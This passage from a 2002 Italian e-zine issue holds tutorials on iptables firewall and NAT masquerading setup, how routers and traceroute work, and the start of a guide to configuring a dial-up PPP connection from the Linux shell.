$IPTABLES -A FORWARD -i $EXTIF -o $INTIF -m state --state ESTABLISHED, | | RELATED -j ACCEPT | | $IPTABLES -A FORWARD -i $INTIF -o $EXTIF -j ACCEPT | | $IPTABLES -A FORWARD -j LOG | | | | echo " Abilito la funzionalita' SNAT su $EXTIF" | | $IPTABLES -t nat -A POSTROUTING -o $EXTIF -j MASQUERADE | | | | echo -e "\nrc.firewall-2.2 v$FWVER finito.\n" | | | | --- fine rc.firewall --- | | | | salvate questo file in /etc/rc.d con il nome di rc.firewall | | Successivamente rendere questo file eseguibile scrivendo | | | | # chmod 700 /etc/rc.d/rc.firewall | | | | Ora il ruleset e' pronto, resta da farlo partire ad ogni avvio, anche se | | si potrebbe fare partire ogni volta manualmente (naaa) scrivendo nella | | directory /etc/rc.d | | | | # ./rc.firewall | | | | > redhat < | | ci sono due metodi per fare caricare automaticamente lo script: | | /etc/rc.d/rc.local o un init script in /etc/rc.d/init.d/. | | | | Il primo metodo e' il piu' semplice, basta aggiungere queste righe: | | | | echo "Sto caricando il ruleset rc.firewall" | | # | | /etc/rc.d/rc.firewall | | # | | | | alla fine del file /etc/rc.d/rc.local file. | | Il problema e' che se stai usando un FORTE ruleset per il firewall, | | quest'ultimo non viene eseguito se non dopo l'ultima stage del boot. | | L'approccio normale sarebbe quello di avere un firewall caricato appena | | dopo il network subsystem e' stato caricato. | | | | > slackware < | | lo stesso della redhat, con la differenza che possiamo scrivere nel file | | /etc/rc.d/rc.local oppure nel file /etc/rc.d/rc.inet2, appendendo sempre | | le seguenti stringhe: | | | | # | | echo "Sto caricando il ruleset rc.firewall" | | /etc/rc.d/rc.firewall | | # | | | | # Configurazione dei client | | | | Prenderemo in esame il windows, detto molto in breve, basta settare come | | gateway (nelle proprieta' di rete) l'indirizzo IP della nostra linux box | | con MASQ abilitato e come server DNS quelli che abbia o solitamente nel | | nostro /etc/resolv.conf .. oppure se avete un server DNS sempre sulla | | stessa linux box, l'indirizzo di rete di quest'ultima, semplice. | | | | # Caricare e testare il nostro ruleset | | Ok, fate partire il comando | | | | # /etc/rc.d/rc.firewall | | | | Ci sono strani errori come ip_tables.o: Device or resource busy ? | | Facciamo una cosa. | | | | # lsmod | | | | e siate sicuri che il modulo 'ipchains.o' NON sia installato. | | Se e' installato probabilmente la vostra macchina (soprattutto le redhat | | 7.x) sta provando a caricare un ruleset IPCHAINS che e' incompatibile | | con IPTABLES. | | Per prevenire questo in futuro facciamo un | | | | # chkconfig --level=2345 ipchains off | | | | e per rimuovere il modulo ipchains senza riavviare facciamo un | | | | #/sbin/rmmod ipchains | | | | e riproviamo a caricare il nostro rc.firewall | | | | No such file | | | | assicuratevi che esista il file e che non l'abbiate copiato da una | | macchina con nomi DOS e assicurati che ogni riga non finisca con un ^M. | | | | Per testare la connettivita' in rete delle nostre macchine, ricorreremo | | allo strumento basilare, il ping. | | Fate un | | | | # ping 192.168.0.1 | | | | per pingare il server dai client, se risponde una cosa del genere: | | | | | | masq-client# ping 192.168.0.1 | | PING 192.168.0.1 (192.168.0.1): 56 data bytes | | 64 bytes from 192.168.0.1: icmp_seq=0 ttl=255 time=0.8 ms | | 64 bytes from 192.168.0.1: icmp_seq=1 ttl=255 time=0.4 ms | | 64 bytes from 192.168.0.1: icmp_seq=2 ttl=255 time=0.4 ms | | 64 bytes from 192.168.0.1: icmp_seq=3 ttl=255 time=0.5 ms | | ^C | | | | --- 192.168.0.1 ping statistics --- | | 4 packets transmitted, 4 packets received, 0% packet loss | | round-trip min/avg/max = 0.4/0.5/0.8 ms | | | | direi che i client vedono il server e che quindi per quanto riguarda la | | connettivita' client-server siamo a posto. | | | | Fate lo stesso dal server verso i client... e ora proviamo verso | | l'esterno! | | | | [root@tux root]# ping www.kuht.it PING www.kuht.it (62.149.130.52) from | | 62.211.20.161 : 56(84) bytes of data. | | 64 bytes from webs42.aruba.it (62.149.130.52): icmp_seq=0 ttl=122 | | time=151.304 msec 64 bytes from webs42.aruba.it (62.149.130.52): | | icmp_seq=1 ttl=122 time=149.030 msec 64 bytes from webs42.aruba.it | | (62.149.130.52): icmp_seq=2 ttl=122 time=139.049 msec 64 bytes from | | webs42.aruba.it (62.149.130.52): icmp_seq=3 ttl=122 time=139.154 msec | | | | --- www.kuht.it ping statistics --- | | 4 packets transmitted, 4 packets received, 0% packet loss | | round-trip min/avg/max/mdev = 139.049/144.634/151.304/5.597 ms | | | | direi che ci siamo, anche i nostri client (e il nostro server, se e' | | connesso) vede il mondo esterno. | | | | vediamo un po'.. | | 1. cosa e' ip masquerading | | 2. a chi serve | | 3. esempio e dettaglio | | 4. inizio configurazione del kernel, compilazione nel caso di non pronti | | 5. costruzione ruleset | | 6. metterlo in avvio | | 7. esperimento di connettivita' e funzionalita' | | | | TODO: | | spiegazione in DETTAGLIO di SNAT e DNAT | | esperimento di costruzione di un sistema NAT aziendale | | | | 06/11/2001 v1.0 | | kain | | www.kuht.it | | wanna join the team? | | tnx to Linux IP Masquerade Resource Howto e tutti gli amici dei | | newsgroup, forum che hanno sempre saputo consigliarmi. | | uptime 2:07 in writing | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [NETW0RKiNG] #05 - 14/01/2002 | | iP TABLES [E4zy] 0x0A/0x23 | +--------------------------------------------------------------------------+ | | | Indice: | | | | 1. Introduzione | | | | 2. Iptables (kernel 2.4 o superiore) | | 2.1 Tabelle di firewall | | 2.2 Policy delle tabelle | | 2.3 Sintassi | | 2.3.1 Aggiunta di una regola (-A) | | 2.3.2 Interfacce (-i) | | 2.3.3 Condizioni state | | | | 3. Iptables script | | | | 1. Introduzione | | Il firewall migliora la sicurezza di un sistema o di una rete interna | | fornendo un servizio di confine tra le rete locale e la rete esterna | | (Internet), ogni connessione in ingresso e in uscita attraversa tale | | dispositivo in modo tale da permettere il passaggio esclusivamente ai | | protocolli consentiti dalle rules (regole), in caso contrario i | | pacchetti che non risponderanno a tali criteri verranno rifiutati. | | | | 2. Iptables (kernel 2.4 o superiore) | | Iptables appartiene alla categoria dei firewall a filtro di pacchetti, | | esso opera una vera e propria selezione dell'input e dell'output verso e | | dalla rete interna. | | L'header (intestazione) di ogni pacchetto, che transita sull'interfaccia | | protetta dal firewall, contiene delle informazioni che vengono | | confrontate con le policy settate per l'interfaccia stessa, in caso esse | | rispondano alle esigenze dell'amministratore il pacchetto verra' | | accettato, in caso contrario il firewall provvedera' ad operare un drop | | (rifiuto) del pacchetto. | | | | 2.1 Tabelle di firewall | | Iptables utilizza tre tabelle per la definizione delle proprie regole: | | INPUT, OUTPUT e FORWARD. | | La tabella INPUT influisce sul comportamento del firewall nei confronti | | dei pacchetti ricevuti dall'interfaccia, allo stesso modo la tabella | | OUTPUT influenza il traffico in uscita dall'interfaccia, infine FORWARD | | e' una tabella adibita al routing (instradamento) dei pacchetti. | | | | 2.2 Policy delle tabelle | | Ogni tabella (INPUT, OUTPUT e FORWARD) possiede una politica che | | consiste di default nell'accettare il pacchetto (ACCEPT), essa viene | | applicata qual'ora il pacchetto non e' identificato da nessun'altra | | regola. Le tabelle piu' restrittive richiedono una politica che preveda | | l'eliminazione del pacchetto (DROP), nel caso si renda necessaria una | | tale modifica si puo' ricorrere al parametro -P che imposta una politica | | per la tabella specificata, vediamo un esempio: | | | | iptables -P INPUT ACCEPT | | setta la politica ACCEPT relativa alla tabella di INPUT | | | | 2.3 Sintassi | | iptables -A tabella regola | | aggiunge una regola a una particolare tabella | | | | iptables -L [tabella] | | elenca le regole di una o di tutte le tabelle | | le parentesi quadre indicano opzionalita' | | | | iptables -F [tabella] | | cancella le regole di una o di tutte e tabelle | | le parentesi quadre indicano opzionalita' | | | | 2.3.1 Aggiunta di una regola (-A) | | Vi sono opzioni che permettono di specificare l'indirizzo sorgente (-s) | | e destinatario (-d) dei pacchetti transitanti su di una certa | | interfaccia (-i) soggetti all'esecuzione della regola specificata (-j), | | esempio: | | | | iptables -A INPUT -s 192.168.1.1 -j ACCEPT -i eth0 | | tutti i pacchetti in arrivo dall'host 192.168.1.1 verranno accettati | | dall'interfaccia eth0 | | -A aggiunge una regola alla tabella INPUT | | -s specifica il source address | | -j specifica la regola da applicare al pacchetto (ACCEPT o DROP) | | -i specifica l'interfaccia soggetta alla regola | | | | iptables -A INPUT -s evil_hacker.com -j DROP -i eth0 | | blocca qualsiasi tentativo di accesso non autorizzato all'interfaccia | | eth0 | | da parte dell'host specificato | | | | 2.3.2 Interfacce (-i) | | -i eth0: interfaccia Ethernet | | -i ppp0: modem che utilizza il point-to-point protocol (PPP) | | -i lo: interfaccia localhost utilizzata per le connessioni locali del | | sistema | | | | 2.3.3 Condizioni state | | NEW: pacchetto che crea una nuova connessione | | ESTABLISHED: pacchetto appartenente ad una connessione instaurata | | RELATED: pacchetto relativo ad una connessione esistente ma che non | | prende | | parte ad essa, errore ICMP | | | | E' possibile fare riferimento a pacchetti caratterizzati dagli state | | elencati, specificando il modulo state (-m state) seguito dalla relativa | | opzione (--state), esempio: | | | | iptables -A INPUT -m state --state NEW -j DROP -i eth0 | | qualsiasi pacchetto che tenti di stabilire una nuova connessione con | | l'interfaccia eth0 verra' rifiutato | | | | 3. Iptables script | | L'analisi del seguente script Iptables e' piu' utile di qualsiasi | | ulteriore spiegazione, il codice e' commentato nei minimi dettagli, un | | ringraziamento particolare va al suo ideatore James C. Stephens, buona | | lettura :) | | | | [NdR: Vedi allegato 0x08] | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [NETW0RKiNG] #05 - 14/01/2002 | | R0UTiNG E ViAGGi0 Di PACCHETTi V 2.0 [XanTHic] 0x0B/0x23 | +--------------------------------------------------------------------------+ | | | Data: o4/1o/2oo1 | | Autore: XanTHic membro MoJodo ProJecT | | ICQ: #98605689 | | E-Mail: xanthic@mojodo.cjb.net Sito Crew: http://mojodo.cjb.net | | IRC: irc.tin.it #mojodo | | irc.azzurra.org #tcc #newbie #smanettoni #veninside | | | | | | =============================-=-iNTR0-=-=============================== | | | | Come penso abbiate capito dal titolo, mi appresto a spiegarvi cosa sono | | i router, come funzionano e a cosa servono. E' un articolo scritto | | fondamentalmente per un pubblico newbie, ma alcuni concetti penso | | possano servire anche a gente un pochino piu' esperta. Questa e' la | | seconda versione che ho rilasciato; ho corretto alcune cosette e | | modificato l'aspetto grafico, rendendolo leggermente piu' leggibile e | | professionale. Per commenti, critiche o informazioni vi rimando alla | | e-mail. Per quanto riguarda la distribuzione di questo documento, siete | | liberi di inserirlo in siti personali, archivi cdrom ecc. ma se prima mi | | avvertite mi fate un piacere enorme. Dopotutto questo articolo non serve | | tanto a me visto che queste cose le so, ma piuttosto a terzi che amano | | smanettare e scoprire cosa c'e' dietro alle azioni che compiamo | | abitualmente. Percio' sapere che questo breve how-to e' stato inserito | | ad es. in un'e-zine mi gratificherebbe non poco. | | | | ======================================================================= | | | | ROUTER: [xo1]: RUDiMENTi iNIZiALi | | [xo2]: TRACEROUTE: ViAGGiO Di PACCHETTi | | [xo3]: iP 4 DUMMiES | | | | ======================================================================= | | | | [xo1]: RUDiMENTi iNIZiALi | | | | Allora per iniziare pongo subito un problema da utilizzare come esempio | | per introdurvi l'argomento: come fanno pacchetti di dati o email a | | raggiungere il destinatario se la rete e' intasata? Se invio una mail e | | improvvisamente si interrompe la comunicazione rischio di perdere i | | dati? La risposta e' no. Altrimenti che cazz sto scrivendo a fare ora? | | In questo caso entrano in gioco i nostri amati ROUTERS. I routers sono | | macchine che si scambiano informazioni, pacchetti, e decidono che | | percorso far loro seguire affinche' i dati vengano correttamente | | inviati. Qui sotto vi riporto uno schema che spiega le varie "tappe" | | che effettua un-email che parte dal destinatario e arriva al mittente: | | | | -------- ------- ------- ------------ | | MITTENTE --------> ROUTER1 --------> ROUTER2 --------> DESTINATARIO | | -------- ------- ------- ------------ | | | | | | ------- ------- ------- ------------ | | ROUTER6 <------- ROUTER5 <-------- ROUTER4 <-------- ROUTER3 | | ------- ------- ------- ------------ | | | | | | Ecco, questo e' un semplice esempio di viaggio di pacchetti. L'email | | viene spezzettata in pacchetti e, prima di giungere al suo target, | | passa in determinati punti, i meno intasati e i piu' veloci/favorevoli | | per il trasferimento. Naturalmente questi punti vengono decisi dal | | router. | | | | ============================SIMILITUDINE============================== | | | | Per farvi capire meglio utilizzo una similitudine che mi e' appena | | venuta in mente: facciamo finta che dobbiamo andare in vacanza. | | Partiamo da Milano e dobbiamo arrivare a Tortoreto Lido in Abruzzo :) | | in macchina. Decidiamo di prendere l'autostrada: se questa e' intasata | | dal traffico non e' che ci fermiamo e torniamo indietro! Bensi' | | cerchiamo altre strade che ci portino ugualmente a destinazione. Ad es. | | usciamo | | alla prossima uscita autostradale. | | | | ============================SIMILITUDINE============================== | | | | Riprendiamo ora il discorso. Se un pc crasha o se si forma un | | intasamento in rete, entra subito in funzione una deviazione che | | garantisce ugualmente il collegamento. Rispetto al sistema tradizionale | | della telefonia (che collega un punto con un altro), Internet e' una | | rete, e come tale per raggiungere un punto e' possibile utilizzare tante | | strade. L'invio dei dati non avviene per intero, il documento viene | | suddiviso in tanti piccoli pacchetti che seguono vie diverse. Prima | | dell'invio ogni pacchetto viene 'etichettato e numerato', e gli viene | | assegnato l'indirizzo del mittente e del destinatario. Questi pacchetti | | di dati vengono spediti prima dal proprio pc al proprio provider (se | | non sapete cos'e', non sapete cos'e' internet, e se non sapete cos'e' | | internet non vi servono i router) e poi al router (legge i pacchetti e | | li invia al destinatario). Sono una specie di server con una | | intelligenza artificiale: in pochi millesimi di secondi recapitano i | | dati scegliendo le vie piu' favorevoli, cioe' le meno intasate. | | | | I router quindi sono una sorta di informatori, sempre in contatto con | | i loro simili, con i quali intrattengono scambi di informazioni (ogni | | 30 secondi). Essi sono sempre al corrente di eventuali crash, | | disconnesioni, flood o intasamenti che colpiscono la rete. | | L'indirizzo scritto nell'header del messaggio fa si che il router lo | | invii all'indirizzo corretto (IP, ma di questo ne parlo dopo). | | In sintesi, per concludere questa introduzione, vi dico che nonostante | | il percorso che un insieme di pacchetti segue, essi. una volta inviati, | | si ricompongono sempre sul pc della vittima ehm, del destinatario :) | | | | [xo2]: TRACEROUTE: ViAGGiO Di PACCHETTi | | | | Premetto che nessuno (che io sappia :) puo' decidere in anticipo le | | strade che i dati percorrono per arrivare a destinazione. Pero' e' | | possibile seguire le 'tappe' che i pacchetti compiono partendo dal pc | | per giungere al mittente. E' sufficiente entrare nel Prompt di DOS ed | | eseguire il comando tracert, e' vi uscira' una schermata come questa: | | | | C:\WINDOWS>tracert.exe | | | | Sintassi: tracert [-d] [-h max_salti] [-j elenco host] [-w timeout] | | nome_destinazione | | | | Opzioni: | | -d Non risolve gli indirizzi in nome host. | | -h max_salti Numero max di punti di passaggio per ricercare | | la destinazione. | | -j elenco-host Instradamento libero lungo l'elenco host. | | -w timeout Timeout in millisecondi per ogni risposta. | | | | C:\WINDOWS> | | | | Il nome del computer destinazione e' l'unico parametro obbligatorio. | | Come si puo' vedere, e' possibile specificare anche un numero massimo di | | tappe intermedie, una lista di macchine intermedie per cui si deve | | obbligatoriamente passare, e un tempo massimo di risposta. Da notare | | che i parametri accettati possono variare in funzione della versione | | del programma e del sistema operativo in cui ci troviamo. | | Proviamo per esempio a vedere che distanza ci separa da un server fra | | i piu' noti e richiesti, cioe' quello di VolFTP. Apriamo una shell | | (Prompt DOS se sotto Windows, bash, csh o qualunque altra se sotto | | Unix), e scriviamo: | | | | C:\WINDOWS>tracert volftp.tin.it | | | | Rilevazione instradamento verso cam.ca.tin.it [195.31.191.10] | | su un massimo di 30 punti di passaggio: | | | | 1 1787 ms 2211 ms 1721 ms pppsrv05.stm.it [195.62.32.50] | | 2 2610 ms 1326 ms 1348 ms world.stm.it [195.62.32.11] | | 3 3098 ms 2099 ms 1729 ms eth0-ibs-gw.stm.it [195.62.34.2] | | 4 1976 ms 3040 ms 2394 ms r-rm2-torrearg.ibsns.it [151.99.9.181] | | 5 * * * Richiesta scaduta. | | 6 * * * Richiesta scaduta. | | 7 2555 ms 1736 ms 3118 ms r-mi5-rm5-atm.ibsns.it [151.99.101.1] | | 8 * * 3029 ms r-mi6-fa2.ibsns.it [151.99.100.37] | | 9 2221 ms 2606 ms * r-tin-mi6-atm.ibsns.it [151.99.107.134] | | 10 * * * Richiesta scaduta. | | 11 * * * Richiesta scaduta. | | 12 * * 1753 ms cam.ca.tin.it [195.31.191.10] | | | | Rilevazione completata. | | | | C:\WINDOWS> | | | | Ah, aggiungo una cosa che cmq mi pare sia scontata... sotto Unix il | | comando non e' tracert ma traceroute. | | Come si puo' vedere dal messaggio introduttivo, il comando traceroute | | riesce a rintracciare un computer remoto se questo non e' separato dal | | nostro da piu' di trenta tappe intermedie (questi "punti di passaggio" | | in termine tecnico sono detti Hops o "salti"). Il messaggio | | introduttivo ci dice anche che volftp.tin.it si chiama in realta' | | cam.ca.tin.it e che il suo indirizzo IP e' 195.31.191.10. | | | | Di seguito il programma mostra il percorso completo che separa il | | computer da cui viene eseguito traceroute dal computer che si vuole | | tracciare. Il primo elemento della lista e' il POP a cui siamo | | collegati, nel caso di un collegamento tramite provider. | | | | I numeri sulle tre colonne di sinistra indicano il tempo in | | millisecondi trascorso in attesa della risposta del server a cui la | | riga si riferisce, e l'asterisco significa che la risposta non e' | | arrivata entro il tempo massimo di attesa. Dal valore dei tempi di | | risposta si puo' intuire la bonta' del collegamento verso l'host | | destinazione: nell'esempio sopra riportato, lo stato del collegamento e' | | pessimo (addirittura tempi sopra i 3 secondi), e quindi si puo' | | supporre che, per esempio, un download da VolFTP in quel momento | | andrebbe assai lento. In alcuni casi nessuna delle tre risposte e' | | arrivata, per cui traceroute mostra il messaggio "Richiesta scaduta." | | invece del nome del server. In generale, piu' bassi sono i tempi delle | | tre colonne di sinistra e migliore e' la qualita' del collegamento verso | | la macchina destinazione. | | | | Qual e' l'utilita' di questo programma? Per esempio, se notiamo che il | | collegamento verso un sito web o ftp (o qualunque altro servizio) e' | | lento, possiamo usare traceroute per vedere il percorso seguito dai | | pacchetti, e in base all'output di traceroute e' possibile capire se il | | problema dipende dal nostro provider, dalla macchina destinazione, da | | una macchina intermedia o da un tratto di linea fisica che unisce due | | di queste. Oppure, se dobbiamo scaricare un file piuttosto pesante e | | conosciamo almeno 2 siti ftp che lo contengono, con traceroute | | possiamo stabilire da quale sito conviene effettuare il download. | | | | [xo3]: iP 4 DUMMiES (diciamo neonati) | | | | L'indirizzo ip (internet protocol) consiste in un gruppo di quattro | | numeri ognuno dei quali compreso tra lo 0 e il 255. Le grandi aziende | | che dispongono o necessitano di pc sempre online possono disporre di | | un IP fisso (in Italia comunemente sono i provider che hanno questo | | privilegio, ma non solo...). Agli users o abbonati semplici ai servizi | | di connessione di un provider viene assegnato un IP dinamico, cioe' che | | cambia sempre dopo ogni disconnessione. Queste due differenti modalita' | | sono obbligatorie per un semplice motivo: data la costituzione | | dell'indirizzo IP (codificazione solo su 32 bit, mentre l'attuale IPv6 | | codifica a 128 bit, ma di questo parlero' un'altra volta) i provider | | non possono concedere un IP fisso ai suoi utenti, percio' utilizzano ip | | variabili, una specie di "chi arriva primo se lo acchiappa" :) ma | | naturalmente non si verificano problemi, perche' il sovraffollamento di | | utenti connessi non ha mai causato un esaurimento di IP, a quanto ne | | so. | | | | ======================================================================= | | | | OK, anche questo breve tutorial e' finito, non ho manco bisogno di | | scriv. ehm, pastare i copyrights xke' da come potete notare queste sono | | solo info. Avviso importante: x la parte riguardante il tracert ho | | preso spunto dalla faq di baldinelli per mancanza di tempo, se ci | | fossero eventuali problemi mi prendero' l'impegno di rifarla. | | Tanto non ci metto nulla a tracciare un server, solo che non c'e' | | sbattimento ultimamente. Preferisco fare altro... | | | | ... Theoretical hacking successful installed in XanTHic's mind ... | | | | | | | | SALUTI & RINGRAZIAMENTI: Saluto innanzitutto i miei fratelli del | | progetto mojodo, i miei seguaci del VenInside :DDD, tutti ma proprio | | tutti i membri del TankCommandos, tutta la new world bie crew, la Paola | | della mia classe, la aLe del canale #dbzone e tutti quelli che mi | | conoscono. In particolare un salutozzo e un abbraccio vanno a: `ValK`, | | ADvAnCeD`, lupsyn, D3FU, kEwL`, Raptor_, BiGAlex, SPYR0, ReSiNaRo, | | MightyInquisitor, ink, Ice Man, Net_Digger, Hopehack e SonGoten :) | | | | FUCK: inter-moratti. Vi racconto una barzelletta: c'e' Berlusconi che | | va da Moratti dopo il derby e gli dice "Per vincere il derby ci | | vogliono i coglioni!" e Moratti "Cazzo io li ho gia' comprati | | tutti eppure non riesco a vincere!". aHaHaH W MILAN. | | | | ======================================================================= | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [LiNUX] #05 - 14/01/2002 | | iN SHELL WE TRUST - PARTE 1 [MightyInquisitor] 0x0C/0x23 | +--------------------------------------------------------------------------+ | | | --[ Indice | | | | 1 - Introduzione al progetto | | | | 2 - Connessione a internet (prima parte) | | 2.1 - Device del modem | | 2.2 - Files di configurazione | | 2.3 - Permessi dei files di configurazione | | 2.4 - L'utente normale e la connessione | | 2.5 - Suggerimento | | | | 3 - Allegato | | | | | | --[ 1 - Introduzione al progetto | | | | Ho deciso di chiamare questo progetto, diviso in parti: | | IN SHELL WE TRUST perche' credo nelle potenzialita' della shell e | | certamente non sono l'unico! | | | | Che cos'e' il progetto ISWT? | | Semplice, in questa parte e nelle successive, spieghero' nel modo piu' | | chiaro possibile come utilizzare al meglio le potenzialita' della shell | | del sistema operativo Linux per effettuare gran parte delle operazioni | | on-line, che svolgiamo, per semplicita' o per ignoranza, da X - la | | modalita' grafica del pinguino. | | | | Molto probabilmente, alcuni di voi, ora potranno chiedersi: | | "Quando mai avro' bisogno di utilizzare la shell per connettermi, | | chattare, navigare, leggere la posta...avendo a disposizione una cosi' | | bella modalita' grafica che mi da la possibilita' di fare queste cose | | molto piu' semplicemente e intuitivamente?" | | | | Nel caso vogliate imparare a "dominare" la vostra macchina dovete sapere | | come si usa e quali sono i comandi e i file per configurare ed eseguire | | i programmi, e non solo, da shell. | | Anche nel caso abbiate un computer poco potente e non riuscite a far | | girarci su X, potete lavorarci usufruendo della shell e quindi mettere | | in atto tutte le operazioni che hanno a che vedere con la rete e che | | fareste su una macchina piu' potente da X. | | Insomma, la shell e' un MUST per chi vuole apprendere a 360 grazi il | | funzionamento di una Linux box. | | | | In questa prima parte del progetto trattero' la connessione a internet | | da console, ovvero il primo passo per lavorare col pinguino on-line. | | | | | | --[ 2 - Connessione a internet (prima parte) | | | | La prima cosa da affrontare per poter fare un buon utilizzo della shell | | su internet e' senza ombra di dubbio la possibilita' di connettersi ad | | internet, senza la quale ben poco si puo' fare. | | In questo testo analizzero' la connessione dial-up dato che lo baso | | esclusivamente sulla mia esperienza, ed io sono sempre fedele al | | collegamento a 56k! | | | | E' bene precisare che trattero' la configurazione dei file di | | configurazione a mano, in maniera tale che il contenuto di questo testo | | sia applicabile a qualsiasi distribuzione Linux. | | | | Tutte le operazioni di seguito descritte vanno fatte una volta loggatisi | | come root alla propria Linux box, tranne nei casi da me espressamente | | specificati. | | | | ----[ 2.1 - Device del modem | | | | Il demone che gestisce la connessione ad internet e' il pppd e | | l'apparecchio che ci permette di connetterci alla rete, come tutti | | sanno, e' il modem - acronimo di MODulatore DEModulatore quindi dobbiamo | | assicurarci che Linux lo riconosca e che il rispettivo device si trovi | | nella directory /dev con il nome di ttyS0 nel caso si trovi sulla porta | | COM1, ttyS1 nel caso si trovi sulla porta COM2 e cosi' via. | | Una volta accertatisi di questo e' bene creare un link simbolico al | | device che posizioneremo, per comodita', nella stessa directory: | | | | bash# ln -s /dev/ttyS0 /dev/modem | | | | Ora /dev/modem non e' altro che il link (ln) simbolico (-s) al device | | corrispondente al modem (/dev/ttyS0). | | | | Una volta effettuata questa semplice operazione si deve procedere a | | configurare una serie di files che mettono in comunicazione il modem con | | il demone ppp. | | | | ----[ 2.2 - Files di configurazione | | | | I files da configurare si trovano nella directory '/etc/ppp' quindi, nel | | caso non esista, createla ed accedetevi come segue: | | | | bash# mkdir /etc/ppp | | bash# cd /etc/ppp | | | | Ora, iniziate a creare i vari files come mi appresto a descrivere. | | | | Il primo file da creare e' il file delle opzioni contenente le | | specifiche che il demone ppp prendera' in considerazione ogni volta che | | ci connettiamo. | | Editate quindi il file 'options' con l'editor di testo che preferite; | | io per comodita' uso pico, quindi: | | | | bash# pico /etc/ppp/options | | | | Inseriteci dentro, uno per riga, i comandi che seguono: | | | | lock | | defaultroute | | noipdefault | | modem | | /dev/modem | | 57600 | | crtscts | | name "user" | | | | Ora chiudete l'editor e salvate il file. | | | | Spiegazione delle linee del file: | | | | defaultroute - imposta il routing dei pacchetti come richiesto dal | | provider | | noipdefault - quando l'ip non e' fisso, ovvero nel caso di | | connessioni dial-up che l'ip e' dinamico, ovvero | | cambia ad ogni connessione | | /dev/modem - e' il device che usiamo per connetterci | | 57600 - e' la velocita' di connessione - 57600 = 56.6kb/sec | | crtscts - e' il protocollo per la connessione a 56k usato di | | default dei providers | | name "user" - al posto di 'user' dovete inserire il vostro user-id di | | connessione | | | | Vi chiederete: "E la password di connessione dove la devo mettere?" | | Niente paura, la password per ragioni di sicurezza e di professionalita' | | va inserita in un file a parte che e' quello che analizzero' adesso. | | Sempre nella directory /etc/ppp editate il file 'pap-secrets' come | | segue: | | | | bash# pico /etc/ppp/pap-secrets | | | | Inseriteci dentro la seguente linea: | | | | "user" * "password" | | | | Ora chiudete l'editor e salvate il file. | | | | L'user non e' altro che l'user-id di connessione che avete inserito | | anche nel file /etc/ppp/options e la password e' la password di | | connessione. Questi dati vi sono stati forniti nel momento della | | registrazione dal provider col quale avete scelto di effettuare la | | registrazione per la connessione quindi sta a voi esserne a conoscenza. | | | | NB: L'acronimo 'pap' sta per Password Authentication Protocol che e' | | il protocollo utilizzato nella comunicazione, tra il vostro modem e il | | provider per l'autenticazione dell'utente. | | | | Il terzo file da editare, denominato 'chat', e' quello che dice al pppd | | come deve comportarsi col modem. Editate quindi il file 'ppp-on' come | | segue: | | | | bash# pico /etc/ppp/ppp-on | | | | Inseriteci dentro, uno per riga, i comandi che seguono: | | | | TIMEOUT 60 | | ABORT ERROR | | ABORT BUSY | | ABORT "NO CARRIER" | | ABORT "NO DIALTONE" | | "" "ATZ" | | OK "ATDTnumero_provider" | | CONNECT "" | | | | Ora chiudete l'editor e salvate il file. | | | | Spiegazione delle linee del file: | | | | TIMEOUT 60 - si disconnette in caso di mancata risposta | | dal modem dopo 60 secondi | | ABORT ERROR - si disconnette in caso di segnale di errore | | da parte del provider | | ABORT BUSY - si disconnette in caso di segnale di busy | | da parte del provider | | ABORT "NO CARRIER" - si disconnette in caso di segnale di NC dal | | provider | | ABORT "NO DIALTONE" - si disconnette in caso di segnale di ND dal | | provider | | "" "ATZ" - ATZ e' il primo comando che viene inviato | | al modem | | OK "ATDTnumero_provider" - numero di telefono del provider al quale | | connettersi | | CONNECT "" - eventuali comandi da inviare al modem dopo | | la connessione | | | | NB: nella linea di comando 'OK "ATDTnumero_provider"' tra gli acronimi | | AT e DT vanno inseriti gli eventuali comandi che volete inviare al modem | | prima della digitazione del numero di telefono del provider. | | Una buona opzione puo' essere 'L0' nel caso vogliate ridurre al minimo | | il volume del modem durante la connessione; in questo caso la linea | | sara': | | | | OK "ATL0DTnumero_provider" | | | | L'ultimo file da editare in questa directory e' quello che si esegue | | quando si decide di disconnettersi. Per comodita' chiamatelo 'ppp-off' | | come segue: | | | | bash# pico /etc/ppp/ppp-off | | | | Inseriteci dentro le seguenti linee: | | | | #!/bin/sh | | kill -INT `cat /var/run/ppp0.pid` | | | | Ora chiudete l'editor e salvate il file. | | | | I file da editare in questa directory sono essenzialmente questi | | quattro. Ce ne possono essere altri quali 'ip-up', con la lista dei | | comandi da eseguire subito dopo essersi connessi e 'ip-down', con la | | lista di comandi da eseguire dopo essersi disconnessi. | | | | Il lavoro nella directory '/etc/ppp' e' ultimato. Adesso c'e' un altro | | file da editare ovvero quello che serve per impostare i server DNS | | -Domain Name Server- del provider. | | Il file in questione e' /etc/resolv.conf. Editatelo come segue: | | | | bash# pico /etc/resolv.conf | | | | Inseriteci dentro la seguente linea di comando: | | | | search nome_provider | | nameserver dns_primario_provider | | nameserver dns_secondario_provider | | | | Ora chiudete l'editor e salvate il file. | | | | Spiegazione delle linee del file: | | | | search nome_provider - corrisponde al nome del vostro | | provider | | nameserver dns_primario_provider - corrisponde al dns primario del | | vostro provider | | nameserver dns_secondario_provider - corrisponde al dns secondario del | | vostro provider | | | | NB: Il nome del provider puo' essere libero.it nel caso abbiate fatto | | l'abbonamento con Libero-Infostrada; tin.it nel caso abbiate fatto | | l'abbonamento con Telecom e cosi' via, quindi sta a voi conoscere questo | | dato anche se non e' indispensabile per il funzionamento. | | Il dns del provider lo risolvete con un 'ping nome_provider' o con un | | 'dns nome_provider', sempre da console. | | | | Ora chiudete l'editor e salvate il file. | | | | ----[ 2.3 - Permessi dei files di configurazione | | | | Un punto molto importante riguarda i permessi dei files di | | configurazione. Primo permesso da settare e' quello del file che | | contiene la password di connessione, fatelo come segue: | | | | bash# chmod 600 /etc/ppp/pap-secrets | | | | Bene, lo avete settato leggibile e scrivibile esclusivamente | | all'amministratore di sistema (root, ovvero voi nel caso). | | | | Ora, rendete leggibili ed eseguibili i file ppp-on, ppp-off e options | | come segue: | | | | bash# chmod 755 /etc/ppp/ppp-on | | bash# chmod 755 /etc/ppp/ppp-off | | bash# chmod 755 /etc/ppp/options | | | | Arrivati a questo punto possiamo dire di essere a meta' dell'opera, ma | | non e' abbastanza per chi vuole connettersi da shell. | | | | ----[ 2.4 - L'utente normale e la connessione | | | | E' ora di introdurre 